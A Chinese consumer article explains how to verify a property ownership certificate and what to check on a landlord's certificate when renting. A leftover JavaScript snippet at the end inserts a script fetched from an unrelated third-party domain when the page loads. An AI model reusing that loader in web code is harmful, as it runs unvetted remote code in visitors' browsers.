房产权证查询方法有哪些

近几年来，买房一直是我们国家的社会热潮，随着我们国家现在人口的不断上涨，交通越来越完善，越来越多的农村人口汇集在城市地带。一旦踏出了农村，就会有不少的上班族想要在自己工作的地方购买房子，扎下自己的根基。不过近几年来关于买房诈骗的新闻也是比较多的，众所周知购买的时候你能拿到一个房产证，那么我们应该如何查询这个房产证的具体信息呢?房产证查询方法网上查询：点击省市链接进入各地房产管理局网站进行查询需要输入产权人姓名、产权证号(目前只有部分地区提供房屋产权信息查询);房产局查询：若要查询的准确的个人房产证信息(包括：房屋所有人名称、产权证号、登记核准日期、建筑面积、房屋设计用途、权利来源、房屋是否抵押、是否被查封等等)，则必须携带个人身份证件及房产证到当地的房管局(房地产交易中心、房屋管理局、房管处)档案馆或窗口查询。因为房产证是购房者取得房屋的合法所有权，可依法对所购房屋行使占有、使用、收益和处分的权利的证件，是国家依法保护房屋所有权的合法凭证。所以市民一定要妥善保管好，如果不慎丢失，也要尽快进行补办。查询房屋产权，个人房产证如何查询，如果还没有办理房产证，可以在房管局网站查询购房买卖合同，输入合同号及密码(密码问开发商)，就可以查看到你们的购房合同，在房管局备案后的合同是没什么问题的。查询房屋产权也可以在拿到房产证后直接去房管局档案部门查询真假。不管开发商大小，可以办理产权证书(房地产证)的，就是是正规商品房，查询房屋产权都可由本人持身份证房地产证去房地产管理局档案是查询真伪。买房子时，你有没有在售楼现场检查他们是否有预售证，如果没有预售证，那这房子可能就不是正规商品房。除商品房外，就是小产权房和农民房，这两种房屋的买卖都是不受法律保护的。你买得的房子需要交契税，这应该是商品房啊，如果不是商品房，将来是不能正常上市交易的，因为将来国家一旦要拆迁等，是收不到任何补偿的。有不少的上班族千里迢迢从家乡来到城市工作，最后还是想要在自己奋斗多年的地方留下自己的积蓄，购买一套属于自己的房子。然而依然会有一些不法分子想要利用这些年轻人的购房子的欲望，使用假的房产证来欺骗房子的购买者。甚至有的房主明明是具有两张房产证，却只交出一张的。在了解了房产证查询方法之后，就可以利用正确的渠道查询到你所购买的房子的房产证是否真实，就可以防止上当受骗。

租房子时查看房子房产证有哪些注意事项呢

随着外出打工的人越来越多，租房子就成为了异乡人的需求，在租房子的过程中有很多的注意事项，那么房子房产证需要怎么看呢？可以从一下三个方面入手：看房子房产证与房东的身份证是否匹配、房子房产证的盖章证明、房产证上面的有效日期。以下就给大家逐一讲解一下在租房子时怎么样查看房子房产证，需要注意些什么？一、房产证与房东的身份证是否匹配现在租房需求越来越多，旁门左道越来越多，很多骗子趁虚而入。为了有效避免“假”房东，大家在租房子时请务必要求房东出示自己的身份证件照或者其他的能够证明自己身份的证件，再看看与房子房产证上面的名字是否符合，以此确认房东不是骗子。若是代管的，也需要出示相关的证件。二、房子房产证的盖章证明骗子的手段层出不穷，为了避免房子房产证作假，我们有必要验证一下房产证上面的盖章是否是国家机关认可的，必要时可请专业人员验证一下，协同认证，这样有利于保护大家自己的财产安全，不要租的房子根本不存在，花了冤枉钱，也受了骗子的气。三、房产证上的有效日期大家都知道，房子也是有使用期限的，大家都知道房子也是有使用日期的，在租房子的时候要看清楚这个时间限制到哪一年哪个月，甚至是哪一天。以此避免大家押金也交了，租金也交了，但是住着住着就被赶了出来，既浪费了不必要的支出，又要为重找落脚地苦恼。在租房子时，除了按照上诉条件认真的核查房子房产证之外，还有很多的注意事项，像水电费是否包含、卫生费是否包含、提前退租有什么条件、定金多少等等，这些都是租房子过程中的注意事项。大家要在签订租约合同的时候认真看清楚，切记不能囫囵吞枣，给来不必要的麻烦。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();